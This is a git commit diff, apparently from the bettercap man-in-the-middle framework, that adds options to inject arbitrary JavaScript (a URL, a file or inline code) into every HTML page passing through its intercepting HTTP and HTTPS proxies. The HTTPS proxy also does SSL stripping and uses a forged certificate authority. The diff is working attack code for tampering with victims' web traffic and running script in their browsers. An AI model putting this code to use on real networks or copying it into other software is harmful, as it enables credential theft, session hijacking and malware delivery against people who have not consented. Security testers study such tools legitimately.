new: implemented http.proxy.injectjs and https.proxy.injectjs to inject javascript code, files or URLs without a proxy module

This commit is contained in:
evilsocket 2018-08-14 17:12:22 +02:00
parent 7839a90c82
commit 6c3157e9c4
No known key found for this signature in database
GPG key ID: 1564D7F30393A456
4 changed files with 74 additions and 12 deletions

View file

@ -33,6 +33,11 @@ func NewHttpProxy(s *session.Session) *HttpProxy {
"", "",
"Path of a proxy JS script.")) "Path of a proxy JS script."))
p.AddParam(session.NewStringParameter("http.proxy.injectjs",
"",
"",
"URL, path or javascript code to inject into every HTML page."))
p.AddParam(session.NewBoolParameter("http.proxy.sslstrip", p.AddParam(session.NewBoolParameter("http.proxy.sslstrip",
"false", "false",
"Enable or disable SSL stripping.")) "Enable or disable SSL stripping."))
@ -71,6 +76,7 @@ func (p *HttpProxy) Configure() error {
var httpPort int var httpPort int
var scriptPath string var scriptPath string
var stripSSL bool var stripSSL bool
var jsToInject string
if p.Running() { if p.Running() {
return session.ErrAlreadyStarted return session.ErrAlreadyStarted
@ -84,9 +90,11 @@ func (p *HttpProxy) Configure() error {
return err return err
} else if err, stripSSL = p.BoolParam("http.proxy.sslstrip"); err != nil { } else if err, stripSSL = p.BoolParam("http.proxy.sslstrip"); err != nil {
return err return err
} else if err, jsToInject = p.StringParam("http.proxy.injectjs"); err != nil {
return err
} }
return p.proxy.Configure(address, proxyPort, httpPort, scriptPath, stripSSL) return p.proxy.Configure(address, proxyPort, httpPort, scriptPath, jsToInject, stripSSL)
} }
func (p *HttpProxy) Start() error { func (p *HttpProxy) Start() error {

View file

@ -40,6 +40,7 @@ type HTTPProxy struct {
CertFile string CertFile string
KeyFile string KeyFile string
jsHook string
isTLS bool isTLS bool
isRunning bool isRunning bool
stripper *SSLStripper stripper *SSLStripper
@ -106,12 +107,29 @@ func (p *HTTPProxy) doProxy(req *http.Request) bool {
return true return true
} }
func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, scriptPath string, stripSSL bool) error { func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, scriptPath string, jsToInject string, stripSSL bool) error {
var err error var err error
p.stripper.Enable(stripSSL) p.stripper.Enable(stripSSL)
p.Address = address p.Address = address
if strings.HasPrefix(jsToInject, "http://") || strings.HasPrefix(jsToInject, "https://") {
p.jsHook = fmt.Sprintf("<script src=\"%s\" type=\"text/javascript\"></script></head>", jsToInject)
} else if core.Exists(jsToInject) {
if data, err := ioutil.ReadFile(jsToInject); err != nil {
return err
} else {
jsToInject = string(data)
}
}
if p.jsHook == "" && jsToInject != "" {
if strings.HasPrefix(jsToInject, "<script ") == false {
jsToInject = fmt.Sprintf("<script type=\"text/javascript\">%s</script>", jsToInject)
}
p.jsHook = fmt.Sprintf("%s</head>", jsToInject)
}
if scriptPath != "" { if scriptPath != "" {
if err, p.Script = LoadHttpProxyScript(scriptPath, p.sess); err != nil { if err, p.Script = LoadHttpProxyScript(scriptPath, p.sess); err != nil {
return err return err
@ -187,8 +205,8 @@ func TLSConfigFromCA(ca *tls.Certificate) func(host string, ctx *goproxy.ProxyCt
} }
} }
func (p *HTTPProxy) ConfigureTLS(address string, proxyPort int, httpPort int, scriptPath string, certFile string, keyFile string, stripSSL bool) (err error) { func (p *HTTPProxy) ConfigureTLS(address string, proxyPort int, httpPort int, scriptPath string, certFile string, keyFile string, jsToInject string, stripSSL bool) (err error) {
if p.Configure(address, proxyPort, httpPort, scriptPath, stripSSL); err != nil { if p.Configure(address, proxyPort, httpPort, scriptPath, jsToInject, stripSSL); err != nil {
return err return err
} }

View file

@ -1,6 +1,7 @@
package modules package modules
import ( import (
"io/ioutil"
"net/http" "net/http"
"strings" "strings"
@ -40,6 +41,17 @@ func (p *HTTPProxy) onRequestFilter(req *http.Request, ctx *goproxy.ProxyCtx) (*
return req, nil return req, nil
} }
func getContentType(res *http.Response) string {
for name, values := range res.Header {
for _, value := range values {
if strings.ToLower(name) == "content-type" {
return value
}
}
}
return ""
}
func (p *HTTPProxy) onResponseFilter(res *http.Response, ctx *goproxy.ProxyCtx) *http.Response { func (p *HTTPProxy) onResponseFilter(res *http.Response, ctx *goproxy.ProxyCtx) *http.Response {
// sometimes it happens ¯\_(ツ)_/¯ // sometimes it happens ¯\_(ツ)_/¯
if res == nil { if res == nil {
@ -52,16 +64,32 @@ func (p *HTTPProxy) onResponseFilter(res *http.Response, ctx *goproxy.ProxyCtx)
p.stripper.Process(res, ctx) p.stripper.Process(res, ctx)
// do we have a proxy script? // do we have a proxy script?
if p.Script == nil { if p.Script != nil {
return res
}
_, jsres := p.Script.OnResponse(res) _, jsres := p.Script.OnResponse(res)
if jsres != nil { if jsres != nil {
// the response has been changed by the script // the response has been changed by the script
p.logResponseAction(res.Request, jsres) p.logResponseAction(res.Request, jsres)
return jsres.ToResponse(res.Request) return jsres.ToResponse(res.Request)
} }
}
// inject javascript code if specified and needed
if cType := getContentType(res); p.jsHook != "" && strings.Contains(cType, "text/html") {
log.Info("(%s) > injecting javascript (%d bytes) into %s for %s", core.Green(p.Name), len(p.jsHook), core.Yellow(req.Host+req.URL.Path), core.Bold(req.RemoteAddr))
defer res.Body.Close()
raw, _ := ioutil.ReadAll(res.Body)
html := strings.Replace(string(raw), "</head>", p.jsHook, -1)
newResp := goproxy.NewResponse(req, cType, res.StatusCode, html)
for k, vv := range res.Header {
for _, v := range vv {
newResp.Header.Add(k, v)
}
}
return newResp
}
return res return res
} }

View file

@ -35,6 +35,11 @@ func NewHttpsProxy(s *session.Session) *HttpsProxy {
"false", "false",
"Enable or disable SSL stripping.")) "Enable or disable SSL stripping."))
p.AddParam(session.NewStringParameter("https.proxy.injectjs",
"",
"",
"URL, path or javascript code to inject into every HTML page."))
p.AddParam(session.NewStringParameter("https.proxy.certificate", p.AddParam(session.NewStringParameter("https.proxy.certificate",
"~/.bettercap-ca.cert.pem", "~/.bettercap-ca.cert.pem",
"", "",
@ -86,6 +91,7 @@ func (p *HttpsProxy) Configure() error {
var certFile string var certFile string
var keyFile string var keyFile string
var stripSSL bool var stripSSL bool
var jsToInject string
if p.Running() { if p.Running() {
return session.ErrAlreadyStarted return session.ErrAlreadyStarted
@ -107,6 +113,8 @@ func (p *HttpsProxy) Configure() error {
return err return err
} else if err, scriptPath = p.StringParam("https.proxy.script"); err != nil { } else if err, scriptPath = p.StringParam("https.proxy.script"); err != nil {
return err return err
} else if err, jsToInject = p.StringParam("https.proxy.injectjs"); err != nil {
return err
} }
if !core.Exists(certFile) || !core.Exists(keyFile) { if !core.Exists(certFile) || !core.Exists(keyFile) {
@ -120,7 +128,7 @@ func (p *HttpsProxy) Configure() error {
log.Info("Loading proxy certification authority TLS certificate from %s", certFile) log.Info("Loading proxy certification authority TLS certificate from %s", certFile)
} }
return p.proxy.ConfigureTLS(address, proxyPort, httpPort, scriptPath, certFile, keyFile, stripSSL) return p.proxy.ConfigureTLS(address, proxyPort, httpPort, scriptPath, certFile, keyFile, jsToInject, stripSSL)
} }
func (p *HttpsProxy) Start() error { func (p *HttpsProxy) Start() error {